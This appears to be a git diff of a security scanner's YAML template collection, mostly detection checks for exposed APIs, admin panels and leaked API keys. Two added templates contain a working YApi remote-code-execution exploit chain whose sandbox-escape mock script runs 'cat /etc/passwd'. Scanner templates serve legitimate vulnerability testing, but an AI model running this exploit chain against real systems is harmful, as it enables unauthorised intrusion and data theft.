+ - '"items":' + condition: and \ No newline at end of file diff --git a/poc/api/kube-api-secrets-8512.yaml b/poc/api/kube-api-secrets-8512.yaml new file mode 100644 index 0000000000..cafadcbdf1 --- /dev/null +++ b/poc/api/kube-api-secrets-8512.yaml @@ -0,0 +1,22 @@ +id: kube-api-secrets +info: + name: Kube API Secrets + author: sharath + severity: info + description: Scans for kube secrets endpoint + tags: tech,k8s,kubernetes,devops,kube +requests: + - method: GET + path: + - "{{BaseURL}}/api/v1/namespaces/default/secrets" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - '"SecretList":' + - '"items":' + condition: and diff --git a/poc/api/kube-api-secrets.yaml b/poc/api/kube-api-secrets.yaml deleted file mode 100644 index e946725992..0000000000 --- a/poc/api/kube-api-secrets.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kube-api-secrets - -info: - name: Kube API Secrets - author: sharath - severity: info - description: Scans for kube secrets endpoint - tags: tech,k8s,kubernetes,devops,kube - -requests: - - method: GET - path: - - "{{BaseURL}}/api/v1/namespaces/default/secrets" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"SecretList":' - - '"items":' - condition: and diff --git a/poc/api/magento-2-exposed-api.yaml b/poc/api/magento-2-exposed-api-8687.yaml similarity index 100% rename from poc/api/magento-2-exposed-api.yaml rename to poc/api/magento-2-exposed-api-8687.yaml diff --git a/poc/api/magento-2-exposed-api-8688.yaml b/poc/api/magento-2-exposed-api-8688.yaml deleted file mode 100644 index ddf8e7633a..0000000000 --- a/poc/api/magento-2-exposed-api-8688.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: magento-2-exposed-api - -info: - name: Exposed Magento 2 API - author: TechbrunchFR - severity: info - description: The API in Magento 2 can be accessed by the world without providing credentials. Through the API information like storefront, (hidden) products including prices are exposed. - reference: - - https://support.hypernode.com/en/ecommerce/magento-2/how-to-protect-the-magento-2-api - metadata: - shodan-query: http.component:"Magento" - tags: magento - -requests: - - method: GET - path: - - '{{BaseURL}}/rest/V1/products' - - '{{BaseURL}}/rest/V1/store/storeConfigs' - - '{{BaseURL}}/rest/V1/store/storeViews' - - matchers-condition: or - matchers: - - type: dsl - dsl: - - 'contains(body, "searchCriteria")' - - 'contains(body, "parameters")' - - 'contains(body, "message")' - - 'contains(tolower(all_headers), "application/json")' - condition: and - - - type: dsl - dsl: - - 'contains(body, "secure_base_link_url")' - - 'contains(body, "timezone")' - - 'contains(tolower(all_headers), "application/json")' - - 'status_code == 200' - condition: and - - - type: dsl - dsl: - - 'contains(body, "name")' - - 'contains(body, "website_id")' - - 'contains(tolower(all_headers), "application/json")' - - 'status_code == 200' - condition: and \ No newline at end of file diff --git a/poc/api/mailchimp-api-key-8724.yaml b/poc/api/mailchimp-api-key-8724.yaml index 3ca9f1ae24..4c767939d2 100644 --- a/poc/api/mailchimp-api-key-8724.yaml +++ b/poc/api/mailchimp-api-key-8724.yaml @@ -1,16 +1,13 @@ id: mailchimp-access-key-value - info: name: Mailchimp API Value author: puzzlepeaches severity: info tags: exposure,token,mailchimp - requests: - method: GET path: - "{{BaseURL}}" - extractors: - type: regex part: body diff --git a/poc/api/mailchimp-api-key-8725.yaml b/poc/api/mailchimp-api-key-8725.yaml index 4c767939d2..3ca9f1ae24 100644 --- a/poc/api/mailchimp-api-key-8725.yaml +++ b/poc/api/mailchimp-api-key-8725.yaml @@ -1,13 +1,16 @@ id: mailchimp-access-key-value + info: name: Mailchimp API Value author: puzzlepeaches severity: info tags: exposure,token,mailchimp + requests: - method: GET path: - "{{BaseURL}}" + extractors: - type: regex part: body diff --git a/poc/api/mailchimp-api.yaml b/poc/api/mailchimp-api.yaml index 09657f0502..7e5a4bad37 100644 --- a/poc/api/mailchimp-api.yaml +++ b/poc/api/mailchimp-api.yaml @@ -5,6 +5,7 @@ info: author: gaurang severity: high tags: token,file,mailchimp + file: - extensions: - all @@ -13,5 +14,3 @@ file: - type: regex regex: - "[0-9a-f]{32}-us[0-9]{1,2}" - -# digest: 4a0a00473045022044dc0414ef16f4cc2e54af8fb429d909233c3da5b9930d856d2d3a07caf5c184022100b714c99dcc1a53d01e2e20070ed6b094b841d629c949e98cef1ee1b382b8b1a4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/mailgun-api(1).yaml b/poc/api/mailgun-api(1).yaml new file mode 100644 index 0000000000..ec96ecfed8 --- /dev/null +++ b/poc/api/mailgun-api(1).yaml @@ -0,0 +1,16 @@ +id: mailgun-api-key + +info: + name: Mailgun API Key + author: gaurang + severity: high + tags: token,file,mailgun + +file: + - extensions: + - all + + extractors: + - type: regex + regex: + - "key-[0-9a-zA-Z]{32}" diff --git a/poc/api/mailgun-api-11855.yaml b/poc/api/mailgun-api-11855.yaml deleted file mode 100644 index 5b84ad10f0..0000000000 --- a/poc/api/mailgun-api-11855.yaml +++ /dev/null @@ -1,13 +0,0 @@ -id: mailgun-api-key -info: - name: Mailgun API Key - author: gaurang - severity: high - tags: token,file,mailgun -file: - - extensions: - - all - extractors: - - type: regex - regex: - - "key-[0-9a-zA-Z]{32}" diff --git a/poc/api/mailgun-api.yaml b/poc/api/mailgun-api.yaml index ec96ecfed8..5b84ad10f0 100644 --- a/poc/api/mailgun-api.yaml +++ b/poc/api/mailgun-api.yaml @@ -1,15 +1,12 @@ id: mailgun-api-key - info: name: Mailgun API Key author: gaurang severity: high tags: token,file,mailgun - file: - extensions: - all - extractors: - type: regex regex: diff --git a/poc/api/mikrotik-routeros-api.yaml b/poc/api/mikrotik-routeros-api.yaml new file mode 100644 index 0000000000..69b48d9be5 --- /dev/null +++ b/poc/api/mikrotik-routeros-api.yaml @@ -0,0 +1,32 @@ +id: mikrotik-routeros-api + +info: + name: MikroTik RouterOS API - Detect + author: pussycat0x + severity: info + description: | + MikroTik RouterOS API was detected. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + shodan-query: product:"MikroTik RouterOS API Service" + verified: true + tags: network,mikrotik,detect + +tcp: + - inputs: + - data: "3a0000002f00000002000040020f0001003d050000000000000000000000002f000000000000000000401f0000000000000000000000000000000000" + type: hex + + host: + - "{{Hostname}}" + port: 8728 + + matchers: + - type: word + encoding: hex + words: + - "0621666174616c0d6e6f74206c6f6767656420696e00" +# digest: 4a0a0047304502201ef1d9abb766273bb5ca21e008e53da35bd3b2a83f2668af35f31140b76d1490022100ee2171cefd358273642a403655afd2cbce6b8f4292d4059e8f92efb126fc53b2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/api/pictatic-api-key-9575.yaml b/poc/api/pictatic-api-key-9575.yaml new file mode 100644 index 0000000000..946aed1ebf --- /dev/null +++ b/poc/api/pictatic-api-key-9575.yaml @@ -0,0 +1,13 @@ +id: pictatic-api-key +info: + name: Pictatic API Key + author: gaurang + severity: high + tags: token,file +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "sk_live_[0-9a-z]{32}" diff --git a/poc/api/pictatic-api-key-9576.yaml b/poc/api/pictatic-api-key-9576.yaml deleted file mode 100644 index ec20f07569..0000000000 --- a/poc/api/pictatic-api-key-9576.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: pictatic-api-key - -info: - name: Pictatic API Key - author: gaurang - severity: high - tags: token,file - -file: - - extensions: - - all - - extractors: - - type: regex - regex: - - "sk_live_[0-9a-z]{32}" \ No newline at end of file diff --git a/poc/api/pictatic-api-key.yaml b/poc/api/pictatic-api-key.yaml index 946aed1ebf..ec20f07569 100644 --- a/poc/api/pictatic-api-key.yaml +++ b/poc/api/pictatic-api-key.yaml @@ -1,13 +1,16 @@ id: pictatic-api-key + info: name: Pictatic API Key author: gaurang severity: high tags: token,file + file: - extensions: - all + extractors: - type: regex regex: - - "sk_live_[0-9a-z]{32}" + - "sk_live_[0-9a-z]{32}" \ No newline at end of file diff --git a/poc/api/sendgrid-api-11859.yaml b/poc/api/sendgrid-api-11859.yaml index a67fb048a4..000c4516ea 100644 --- a/poc/api/sendgrid-api-11859.yaml +++ b/poc/api/sendgrid-api-11859.yaml @@ -1,12 +1,15 @@ id: sendgrid-api-key-file + info: name: Sendgrid API Key author: gaurang severity: high tags: token,file,sendgrid + file: - extensions: - all + extractors: - type: regex regex: diff --git a/poc/api/slack-api.yaml b/poc/api/slack-api.yaml index ea761c24d4..6f17ee55d5 100644 --- a/poc/api/slack-api.yaml +++ b/poc/api/slack-api.yaml @@ -5,7 +5,6 @@ info: author: gaurang severity: high tags: token,file,slack - file: - extensions: - all @@ -14,3 +13,5 @@ file: - type: regex regex: - "xox[baprs]-([0-9a-zA-Z]{10,48})?" + +# digest: 4b0a00483046022100ba3776e008af0a4e7848a73adf72eb7a16913a260d81182aeac50bc9d167c3d3022100d24a73474fbec04e1368b575900583a20922f4cc0fc702c636f53651fc17f939:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/strapi-cms-detect-10538.yaml b/poc/api/strapi-cms-detect-10538.yaml index 52fa91b9ef..5063a4b80b 100644 --- a/poc/api/strapi-cms-detect-10538.yaml +++ b/poc/api/strapi-cms-detect-10538.yaml @@ -1,19 +1,40 @@ id: strapi-cms-detect + info: - name: strapi CMS detect - author: cyllective + name: Strapi CMS detect + author: cyllective,daffainfo,idealphase severity: info - description: Detects strapi CMS - tags: tech,strapi,cms + description: Open source Node.js Headless CMS to easily build customisable APIs reference: - https://github.com/strapi/strapi -requests: + metadata: + max-request: 1 + tags: tech,strapi,cms + +http: - method: GET path: - - "{{BaseURL}}/admin/auth/login" + - "{{BaseURL}}/admin/init" + + matchers-condition: and matchers: - type: word part: body - condition: or words: - - 'Strapi Admin' + - '"data"' + - '"uuid"' + - '"hasAdmin"' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '"strapiVersion":"([0-9.]+)"' + +# digest: 490a00463044022063689c9b0ee20401cc8a1f9234eb881cc45e23929fcad30ffe91913cf8307c63022058b01f3090cb1afd3c54251e11698b7c0cc656b75372bcef9f5989cdea66f771:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/strapi-documentation-10543.yaml b/poc/api/strapi-documentation-10543.yaml deleted file mode 100644 index 6a5b4281db..0000000000 --- a/poc/api/strapi-documentation-10543.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: strapi-documentation -info: - name: Strapi Documentation - author: idealphase - severity: info - description: Strapi CMS - documentation plugin from marketplace (Make the documentation endpoint private. By default, the access is public) - tags: strapi,panel -requests: - - method: GET - path: - - '{{BaseURL}}/documentation' - - '{{BaseURL}}/documentation/login' - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "x-strapi-config" - - "https://strapi.io/documentation/" - condition: or - - type: word - words: - - "Swagger UI" - - "Login - Documentation" - condition: or - - type: status - status: - - 200 diff --git a/poc/api/strapi-documentation.yaml b/poc/api/strapi-documentation.yaml index 6ce1d2e504..6a5b4281db 100644 --- a/poc/api/strapi-documentation.yaml +++ b/poc/api/strapi-documentation.yaml @@ -1,33 +1,28 @@ id: strapi-documentation - info: - name: Strapi CMS - documentation plugin from marketplace (Make the documentation endpoint private. By default, the access is public) + name: Strapi Documentation author: idealphase severity: info + description: Strapi CMS - documentation plugin from marketplace (Make the documentation endpoint private. By default, the access is public) tags: strapi,panel - requests: - method: GET path: - '{{BaseURL}}/documentation' - '{{BaseURL}}/documentation/login' - stop-at-first-match: true matchers-condition: and matchers: - - type: word words: - "x-strapi-config" - "https://strapi.io/documentation/" condition: or - - type: word words: - "Swagger UI" - "Login - Documentation" condition: or - - type: status status: - 200 diff --git a/poc/api/strapi-page-10544.yaml b/poc/api/strapi-page-10544.yaml index abec659651..d62760234f 100644 --- a/poc/api/strapi-page-10544.yaml +++ b/poc/api/strapi-page-10544.yaml @@ -3,7 +3,8 @@ info: name: Strapi Page author: dhiyaneshDk severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Welcome+to+your+Strapi+app%22 + reference: + - https://www.shodan.io/search?query=http.title%3A%22Welcome+to+your+Strapi+app%22 tags: api,strapi requests: - method: GET diff --git a/poc/api/strapi-page-10546.yaml b/poc/api/strapi-page-10546.yaml new file mode 100644 index 0000000000..edf6a044e2 --- /dev/null +++ b/poc/api/strapi-page-10546.yaml @@ -0,0 +1,20 @@ +id: strapi-page + +info: + name: Strapi Page + author: dhiyaneshDk + severity: info + reference: + - https://www.shodan.io/search?query=http.title%3A%22Welcome+to+your+Strapi+app%22 + tags: api,strapi + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers: + - type: word + words: + - 'Welcome to your Strapi app' + condition: and diff --git a/poc/api/stripe-api-key-11869.yaml b/poc/api/stripe-api-key(1).yaml similarity index 100% rename from poc/api/stripe-api-key-11869.yaml rename to poc/api/stripe-api-key(1).yaml diff --git a/poc/api/stripe-api-key.yaml b/poc/api/stripe-api-key.yaml index a5ea66caf7..5624af050d 100644 --- a/poc/api/stripe-api-key.yaml +++ b/poc/api/stripe-api-key.yaml @@ -1,5 +1,4 @@ id: stripe-api-key - info: name: Stripe API Key author: gaurang @@ -8,10 +7,7 @@ info: file: - extensions: - all - extractors: - type: regex regex: - "(?i)stripe(.{0,20})?[sr]k_live_[0-9a-zA-Z]{24}" - -# digest: 4b0a00483046022100f0e284415d4e8014de7c3e8cfdf980c900fd56a840ea195cffecec856505187302210097d3c6810ed01c45e33ddcd46998419fda6972b412edda34ce8ff9ed4fa6384b:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/twilio-api-10860.yaml b/poc/api/twilio-api-10860.yaml index 9895746a8a..f1a98cc01b 100644 --- a/poc/api/twilio-api-10860.yaml +++ b/poc/api/twilio-api-10860.yaml @@ -1,16 +1,13 @@ id: twilio-api - info: name: Twilio API Key author: gaurang severity: high tags: token,file - file: - extensions: - all - extractors: - type: regex regex: - - "(?i)twilio(.{0,20})?SK[0-9a-f]{32}" \ No newline at end of file + - "(?i)twilio(.{0,20})?SK[0-9a-f]{32}" diff --git a/poc/api/unauth-spark-api-10963.yaml b/poc/api/unauth-spark-api-10963.yaml index 56ccbcbe76..504318c39a 100644 --- a/poc/api/unauth-spark-api-10963.yaml +++ b/poc/api/unauth-spark-api-10963.yaml @@ -1,10 +1,17 @@ id: unauth-spark-api + info: name: Unauthenticated Spark REST API author: princechaddha severity: medium - description: The remote Spark product's REST API interface does not appear to prevent unauthenticated users from accesing it. - reference: https://xz.aliyun.com/t/2490 + description: The Spark product's REST API interface allows access to unauthenticated users. + reference: + - https://xz.aliyun.com/t/2490 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + remediation: Restrict access the exposed API ports. tags: spark,unauth requests: @@ -22,3 +29,5 @@ requests: - "serverSparkVersion" part: body condition: and + +# Enhanced by cs on 2022/02/28 diff --git a/poc/api/unauth-spark-api-10964.yaml b/poc/api/unauth-spark-api-10964.yaml index 952e0c2f9e..2025d7145b 100644 --- a/poc/api/unauth-spark-api-10964.yaml +++ b/poc/api/unauth-spark-api-10964.yaml @@ -3,8 +3,14 @@ info: name: Unauthenticated Spark REST API author: princechaddha severity: medium + description: The Spark product's REST API interface allows access to unauthenticated users. + remediation: Restrict access the exposed API ports. reference: https://xz.aliyun.com/t/2490 tags: spark,unauth + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 requests: - method: GET path: @@ -20,3 +26,5 @@ requests: - "serverSparkVersion" part: body condition: and + +# Enhanced by cs on 2022/02/28 diff --git a/poc/api/wadl-api-11084.yaml b/poc/api/wadl-api-11084.yaml new file mode 100644 index 0000000000..35e018d786 --- /dev/null +++ b/poc/api/wadl-api-11084.yaml @@ -0,0 +1,40 @@ +id: wadl-api +info: + name: wadl file disclosure + author: 0xrudra & manuelbua + severity: info + tags: exposure,api + reference: | + - https://github.com/dwisiswant0/wadl-dumper + - https://www.nopsec.com/leveraging-exposed-wadl-xml-in-burp-suite/ +requests: + - method: GET + path: + - "{{BaseURL}}/application.wadl" + - "{{BaseURL}}/application.wadl?detail=true" + - "{{BaseURL}}/api/application.wadl" + - "{{BaseURL}}/api/v1/application.wadl" + - "{{BaseURL}}/api/v2/application.wadl" + matchers: + - name: http-get + type: word + words: + - "This is simplified WADL with user and core resources only" + - "\"http://jersey.java.net/\"" + - "http://wadl.dev.java.net/2009/02" + condition: or + part: body + - method: OPTIONS + path: + - "{{BaseURL}}" + - "{{BaseURL}}/api/v1" + - "{{BaseURL}}/api/v2" + matchers: + - name: http-options + type: word + words: + - "This is simplified WADL with user and core resources only" + - "\"http://jersey.java.net/\"" + - "http://wadl.dev.java.net/2009/02" + condition: or + part: body diff --git a/poc/api/wadl-api-11082.yaml b/poc/api/wadl-api.yaml similarity index 100% rename from poc/api/wadl-api-11082.yaml rename to poc/api/wadl-api.yaml diff --git a/poc/api/wsdl-api-11634.yaml b/poc/api/wsdl-api-11634.yaml new file mode 100644 index 0000000000..4bad6b6027 --- /dev/null +++ b/poc/api/wsdl-api-11634.yaml @@ -0,0 +1,27 @@ +id: wsdl-api + +info: + name: WSDL API - Detect + author: jarijaas + severity: info + description: WSDL API was detected. + reference: https://www.w3.org/TR/wsdl/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: exposure,api + +http: + - method: GET + path: + - "{{BaseURL}}/?wsdl" + + matchers: + - type: word + words: + - "wsdl:definitions" + +# digest: 490a0046304402201eccb43d9aa98c6691258d0eb19fada4fa2f6f621bd15c11b2a909441194cc5502207038b072b9a896169b97f955541ab6a6c3d2ca0b551bbe148514ac0e0591a3f6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/wso2-apimanager-detect-11638.yaml b/poc/api/wso2-apimanager-detect-11638.yaml new file mode 100644 index 0000000000..042ae34b83 --- /dev/null +++ b/poc/api/wso2-apimanager-detect-11638.yaml @@ -0,0 +1,19 @@ +id: wso2-apimanager-detect +info: + name: WSO2 API Manager detect + author: righettod + severity: info + description: Try to detect the presence of a WSO2 API Manager instance via the version endpoint + tags: tech,wso2,api-manager +requests: + - method: GET + path: + - "{{BaseURL}}/services/Version" + matchers-condition: and + matchers: + - type: word + words: + - "version.services.core.carbon.wso2.org" + - type: status + status: + - 200 diff --git a/poc/api/yapi-detect-11721.yaml b/poc/api/yapi-detect-11721.yaml deleted file mode 100644 index cf56584b89..0000000000 --- a/poc/api/yapi-detect-11721.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: yapi-detect - -info: - name: YApi Detect - author: pikpikcu - severity: info - metadata: - max-request: 1 - shodan-query: http.title:"YApi" - tags: tech,yapi - -http: - - method: GET - path: - - "{{BaseURL}}" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "YApi-高效、易用、功能强大的可视化接口管理平台" - - - type: status - status: - - 200 - -# digest: 4a0a00473045022100d065fd5b007edee8b857f54125c1ad7475fbf9817a640e334a022db8b8b4e13702201cf3269e3d0dd2ecc4a51d6dcda283dbeda97f867b5e6cbbef31dcaeb31861ab:922c64590222798bb761d5b6d8e72950 diff --git a/poc/api/yapi-detect.yaml b/poc/api/yapi-detect.yaml new file mode 100644 index 0000000000..158384897e --- /dev/null +++ b/poc/api/yapi-detect.yaml @@ -0,0 +1,19 @@ +id: yapi-detect +info: + name: YApi Detect + author: pikpikcu + severity: info + tags: tech,yapi +requests: + - method: GET + path: + - "{{BaseURL}}" + matchers-condition: and + matchers: + - type: word + part: body + words: + - "YApi-高效、易用、功能强大的可视化接口管理平台" + - type: status + status: + - 200 diff --git a/poc/api/yapi-rce-11726.yaml b/poc/api/yapi-rce-11726.yaml new file mode 100644 index 0000000000..3187470f26 --- /dev/null +++ b/poc/api/yapi-rce-11726.yaml @@ -0,0 +1,80 @@ +id: yapi-rce +info: + name: Yapi Remote Code Execution + author: pikpikcu + severity: critical + tags: yapi,rce + description: A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code. + reference: + - https://www.secpulse.com/archives/162502.html + - https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b + - https://twitter.com/sec715/status/1415484190561161216 + - https://github.com/YMFE/yapi +requests: + - raw: + - | # REQUEST 1 + POST /api/user/reg HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"email":"{{randstr}}@example.com","password":"{{randstr}}","username":"{{randstr}}"} + - | # REQUEST 2 + GET /api/group/list HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json, text/plain, */* + - | # REQUEST 3 + POST /api/project/add HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"name":"{{randstr}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"} + - | # REQUEST 4 + GET /api/project/get?id={{project_id}} HTTP/1.1 + Host: {{Hostname}} + - | # REQUEST 5 + POST /api/interface/add HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"method":"GET","catid":"{{project_id}}","title":"{{randstr_1}}","path":"/{{randstr_1}}","project_id":{{project_id}}} + - | # REQUEST 6 + POST /api/plugin/advmock/save HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()","enable":true} + - | # REQUEST 7 + GET /mock/{{project_id}}/{{randstr_1}} HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + extractors: + - type: regex + name: group_id + group: 1 + internal: true + part: body + regex: + - '"_id":([0-9]+),"group_name"' + - type: regex + name: interface_id + group: 1 + internal: true + part: body + regex: + - '"req_body_form":\[\],"_id":([0-9]+)' + - type: regex + name: project_id + group: 1 + internal: true + part: body + regex: + - '"tag":\[\],"_id":([0-9]+)' + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + - type: status + status: + - 200 diff --git a/poc/api/yapi-rce.yaml b/poc/api/yapi-rce.yaml new file mode 100644 index 0000000000..e9f9d9d864 --- /dev/null +++ b/poc/api/yapi-rce.yaml @@ -0,0 +1,93 @@ +id: yapi-rce + +info: + name: Yapi Remote Code Execution + author: pikpikcu + severity: critical + tags: yapi,rce + description: A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code. + reference: + - https://www.secpulse.com/archives/162502.html + - https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b + - https://twitter.com/sec715/status/1415484190561161216 + - https://github.com/YMFE/yapi + +requests: + - raw: + - | # REQUEST 1 + POST /api/user/reg HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"email":"{{randstr}}@example.com","password":"{{randstr}}","username":"{{randstr}}"} + + - | # REQUEST 2 + GET /api/group/list HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json, text/plain, */* + + - | # REQUEST 3 + POST /api/project/add HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"name":"{{randstr}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"} + + - | # REQUEST 4 + GET /api/project/get?id={{project_id}} HTTP/1.1 + Host: {{Hostname}} + + - | # REQUEST 5 + POST /api/interface/add HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"method":"GET","catid":"{{project_id}}","title":"{{randstr_1}}","path":"/{{randstr_1}}","project_id":{{project_id}}} + + - | # REQUEST 6 + POST /api/plugin/advmock/save HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json;charset=UTF-8 + + {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()","enable":true} + + - | # REQUEST 7 + GET /mock/{{project_id}}/{{randstr_1}} HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + extractors: + - type: regex + name: group_id + group: 1 + internal: true + part: body + regex: + - '"_id":([0-9]+),"group_name"' + + - type: regex + name: interface_id + group: 1 + internal: true + part: body + regex: + - '"req_body_form":\[\],"_id":([0-9]+)' + + - type: regex + name: project_id + group: 1 + internal: true + part: body + regex: + - '"tag":\[\],"_id":([0-9]+)' + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body + + - type: status + status: + - 200 diff --git a/poc/atlassian/atlassian-crowd-panel-580.yaml b/poc/atlassian/atlassian-crowd-panel-580.yaml index b7819bc20a..b14248a9a9 100644 --- a/poc/atlassian/atlassian-crowd-panel-580.yaml +++ b/poc/atlassian/atlassian-crowd-panel-580.yaml @@ -1,10 +1,18 @@ id: atlassian-crowd-panel info: - name: Atlassian Crowd panel detect + name: Atlassian Crowd Login Panel author: organiccrap + description: An Atlassian Crowd login panel was discovered. + reference: + - https://www.atlassian.com/ severity: info tags: panel,atlassian + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 requests: - method: GET @@ -16,3 +24,5 @@ requests: words: - Atlassian Crowd - Login part: body + +# Enhanced by mp on 2022/03/20 diff --git a/poc/atlassian/atlassian-crowd-panel-581.yaml b/poc/atlassian/atlassian-crowd-panel-581.yaml new file mode 100644 index 0000000000..22e6b159b8 --- /dev/null +++ b/poc/atlassian/atlassian-crowd-panel-581.yaml @@ -0,0 +1,38 @@ +id: atlassian-crowd-panel + +info: + name: Atlassian Crowd Login Panel + author: organiccrap,AdamCrosser + severity: info + description: An Atlassian Crowd login panel was discovered. + reference: + - https://www.atlassian.com/ + classification: + cwe-id: CWE-200 + metadata: + max-request: 1 + vendor: atlassian + product: crowd + category: sso + tags: panel,atlassian + +http: + - method: GET + path: + - '{{BaseURL}}/crowd/console/login.action' + + matchers: + - type: word + words: + - Atlassian Crowd - Login + part: body + + extractors: + - type: regex + name: version + group: 1 + regex: + - 'value="Version: ([\d.]+)' + part: body + +# digest: 490a00463044022058e3efd996636014da83a97270ff8ceeffaf677d640c65e6bee08cff09f6fd8902206ec9b89a16efc001752c4ed1dd8de24c369521320b86bfa896b101cedf978233:922c64590222798bb761d5b6d8e72950 diff --git a/poc/atlassian/atlassian-crowd-panel-585.yaml b/poc/atlassian/atlassian-crowd-panel-585.yaml new file mode 100644 index 0000000000..b7819bc20a --- /dev/null +++ b/poc/atlassian/atlassian-crowd-panel-585.yaml @@ -0,0 +1,18 @@ +id: atlassian-crowd-panel + +info: + name: Atlassian Crowd panel detect + author: organiccrap + severity: info + tags: panel,atlassian + +requests: + - method: GET + path: + - '{{BaseURL}}/crowd/console/login.action' + + matchers: + - type: word + words: + - Atlassian Crowd - Login + part: body diff --git a/poc/atlassian/bitbucket-takeover-739.yaml b/poc/atlassian/bitbucket-takeover-739.yaml index b0aabdf6b4..9d027b93b1 100644 --- a/poc/atlassian/bitbucket-takeover-739.yaml +++ b/poc/atlassian/bitbucket-takeover-739.yaml @@ -1,21 +1,26 @@ id: bitbucket-takeover + info: name: Bitbucket Takeover Detection - author: pdcommunity + author: pdteam severity: high + reference: + - https://github.com/EdOverflow/can-i-take-over-xyz tags: takeover - reference: https://github.com/EdOverflow/can-i-take-over-xyz + requests: - method: GET path: - "{{BaseURL}}" + matchers-condition: and matchers: - type: word words: - "Repository not found" part: body + - type: word words: - "text/plain" - part: header + part: header \ No newline at end of file diff --git a/poc/atlassian/confluence-detect-1186.yaml b/poc/atlassian/confluence-detect-1186.yaml new file mode 100644 index 0000000000..0e63d59c09 --- /dev/null +++ b/poc/atlassian/confluence-detect-1186.yaml @@ -0,0 +1,41 @@ +id: confluence-detect + +info: + name: Confluence Detect + author: philippedelteil + severity: info + description: Allows you to detect Atlassian Confluence instances + metadata: + shodan-query: http.component:"Atlassian Confluence" + tags: tech,confluence,atlassian + + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/pages" + - "{{BaseURL}}/confluence" + - "{{BaseURL}}/wiki" + + redirects: true + stop-at-first-match: true + matchers-condition: or + matchers: + - type: word + part: header + words: + - '-confluence-' + case-insensitive: true + + - type: word + part: body + words: + - 'confluence-base-url' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'Atlassian Confluence ([a-z0-9-._]+)' diff --git a/poc/atlassian/confluence-detect-1187.yaml b/poc/atlassian/confluence-detect-1187.yaml index 0e17bc5ab9..b860a53f8f 100644 --- a/poc/atlassian/confluence-detect-1187.yaml +++ b/poc/atlassian/confluence-detect-1187.yaml @@ -37,4 +37,5 @@ requests: part: body group: 1 regex: - - 'Atlassian Confluence ([a-z0-9-._]+)' + - '
